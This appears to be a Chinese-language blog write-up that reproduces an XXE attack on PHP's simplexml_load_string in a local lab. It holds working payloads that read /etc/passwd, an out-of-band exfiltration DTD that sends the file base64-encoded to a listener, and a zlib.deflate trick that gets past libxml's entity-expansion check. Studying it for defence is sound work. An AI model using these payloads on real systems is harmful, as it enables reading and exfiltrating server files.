关于XXE,我自己想来重现一下,却发现很多地方并不行。但网上并没有好的解决方法,然后有了下文,记录一下,顺便填坑填坑.

php 版本:PHP Version 5.6.9-0+deb8u1 libxml 2.9.1



$xml=<<< EOF
< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY b SYSTEM "file:///etc/passwd">

]>
< c>&b;< /c>

EOF;
    
$data =simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo '< pre>';

print_r(($data));

echo '< /pre>';

用的simplexml_load_string() ,上面语句会引用一个外部实体 file://协议,LIBXM_NOENT 常量2 表示解析实体 正常回显 pic #Queston1 我想把这个实体的内容通过 下一个实体引用的时候 通过 http请求 发送出去,修改一下 DTD 即如下:


< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>
< !ENTITY % init "< !ENTITY % trick SYSTEM 'http://127.0.0.1:9999/?%file;'>">
%init;
%trick;

]>


这里我用PHP filter 编码了 /etc/pass ,因为这里就不用担心一些文件里面特殊字符的影响,在传输的时候不用去考虑传输特殊字符。 init 实体里面包裹了trick,这里我说一下为什么要这样做,而不是直接写trick,如果你不中间转一下;http://127.0.0.1:9999/?%file;里面file的值是不会被替换的,相当于替换了站位符。 监听 nc -l -p 9999 DTD 好像也没什么错,但是报错了 Warning: simplexml_load_string(): Entity: line 5: parser error : PEReferences forbidden in internal subset in /var/www/html/xxe.php on line 16 查了一下,禁止使用外部引用这样构造。但是我们可以用远程的DTD来代替本地的DTD定义。


< ?xml version="1.0"?>
< !DOCTYPE ANY[

< !ENTITY % remote SYSTEM 'http://127.0.0.1/evil.dtd'>
%remote;
%init;
%trick;

]>

evil.dtd


< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
< !ENTITY % init
"< !ENTITY &#37; trick SYSTEM 'http://127.0.0.1:9999/?%file;'>"
>
现在来说不会发生 parse 错误了,但是我又出现了奇怪的错误,有一个 parser error Warning: simplexml_load_string(): http://127.0.0.1/evil.dtd:3: parser error : Detected an entity reference loop in /var/www/html/xxe.php on line 16 查了一波资料,隐约好像是说 加载的实体内容太大了。去看一下libxml source code,发现了xmlParserEntityCheck 函数会抛出 XML_ERR_ENTITY_LOOP

#define XML_PARSER_BIG_ENTITY 1000
#define XML_PARSER_NON_LINEAR 10
[…]
static int
xmlParserEntityCheck(xmlParserCtxtPtr ctxt, unsigned long size, 
                     xmlEntityPtr ent)
{
[…]
        if (size < XML_PARSER_BIG_ENTITY)
            return(0);
[…]
        if ((size < XML_PARSER_NON_LINEAR * consumed) &&
            (ctxt­>nbentities * 3 < XML_PARSER_NON_LINEAR * consumed))
            return (0);
[…]
    xmlFatalErr(ctxt, XML_ERR_ENTITY_LOOP, NULL);
    return (1);
[…]

当实体加载完毕后,验证会触发: 1.其大小是否小于 1000 字符 2.其大小是否小于已经加载的内容大小10倍 ,并且已经加载的实体引用的数量的3倍是否小于已经加载的内容大小的10倍 满足一上条件之一,则返回 0,无错误。否在抛出error。 显然当我们加载 /etc/passwd 的时候 扩大整个XML 文档太多了,这个时候2个优化方法。 1.添加一些无用二进制序列,慢慢先增大xml,不要一开始就加载大的实体引用。 2.用一些其他的php filter 来压缩原始数据,比如 zlib.deflate,尽可能的不要去触发扩张检测


< !ENTITY % trash SYSTEM "< !ENTITY &#37; tr SYSTEM '{$long}'>"> //$long='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...' //500*'a'

< !ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">

Warning: simplexml_load_string(http://127.0.0.1:9999/?fVZbb6s4EH7vr+Bxj9SIcEna+K09lfZhT4+6zUr7uDLg......) 成功,我仅仅使用 php://filter/zlib.deflate 就解决了这个问题 。而后我知道这其实是一种保护,防止xml 文档大小以指数扩大。 纸上得来终觉浅,很多事情你以为可能就是这样,但是真的是这样吗?我可能要问问自己,别人实验没有这样的问题,不代表就没有。猜坑之旅,路无止境......